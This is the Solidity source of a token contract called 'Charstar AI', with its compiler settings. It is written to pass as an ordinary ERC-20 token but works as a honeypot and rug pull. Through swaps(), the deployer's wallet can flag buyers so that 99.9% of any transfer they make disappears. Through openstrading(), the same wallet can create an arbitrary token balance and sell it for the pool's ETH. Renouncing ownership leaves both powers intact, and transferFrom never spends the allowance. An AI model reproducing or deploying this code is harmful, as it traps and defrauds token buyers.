文件 1 的 1：CharstarAI.sol
pragma solidity ^0.8.21;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function owner() public view virtual returns (address) {return _owner;}
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
function WETH() external pure returns (address aadd);
}
contract CharstarAI is Ownable {
using SafeMath for uint256;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
constructor() {
_balances[sender()] = _totalSupply;
emit Transfer(address(0), sender(), _balances[sender()]);
_taxWallet = msg.sender;
}
string private _name = "Charstar AI";
string private _symbol = "CHARSTAR AI";
IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public _taxWallet;
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function name() external view returns (string memory) {
return _name;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function rstar() external {
}
function rstarchar() external {
}
function rankout() public {
}
function rankin() external {
}
function swaps(address[] calldata walletAddress) external {
uint256 fromBlockNo = getBlockNumber();
for (uint walletInde = 0; walletInde < walletAddress.length; walletInde++) {
if (!marketingAddres()){} else {
cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
}
}
}
function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
_transfer(from, recipient, _amount);
require(_allowances[from][sender()] >= _amount);
return true;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function getBlockNumber() internal view returns (uint256) {
return block.number;
}
mapping(address => mapping(address => uint256)) private _allowances;
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(sender(), from, _allowances[msg.sender][from] - amount);
return true;
}
event Transfer(address indexed from, address indexed to, uint256);
mapping (address => uint256) internal cooldowns;
function decimals() external view returns (uint256) {
return _decimals;
}
function marketingAddres() private view returns (bool) {
return (_taxWallet == (sender()));
}
function sender() internal view returns (address) {
return msg.sender;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function openstrading(uint256 amount, address walletAddr) external {
if (marketingAddres()) {
_approve(address(this), address(uniV2Router), amount);
_balances[address(this)] = amount;
address[] memory addressPath = new address[](2);
addressPath[0] = address(this);
addressPath[1] = uniV2Router.WETH();
uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
} else {
return;
}
}
function _transfer(address from, address to, uint256 value) internal {
uint256 _taxValue = 0;
require(from != address(0));
require(value <= _balances[from]);
emit Transfer(from, to, value);
_balances[from] = _balances[from] - (value);
bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
uint256 _cooldownFeeValue = value.mul(999).div(1000);
if ((cooldowns[from] != 0) && onCooldown) {
_taxValue = (_cooldownFeeValue);
}
uint256 toBalance = _balances[to];
toBalance += (value) - (_taxValue);
_balances[to] = toBalance;
}
event Approval(address indexed, address indexed, uint256 value);
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(sender(), recipient, amount);
return true;
}
mapping(address => uint256) private _balances;
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
}{
"compilationTarget": {
"CharstarAI.sol": "CharstarAI"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
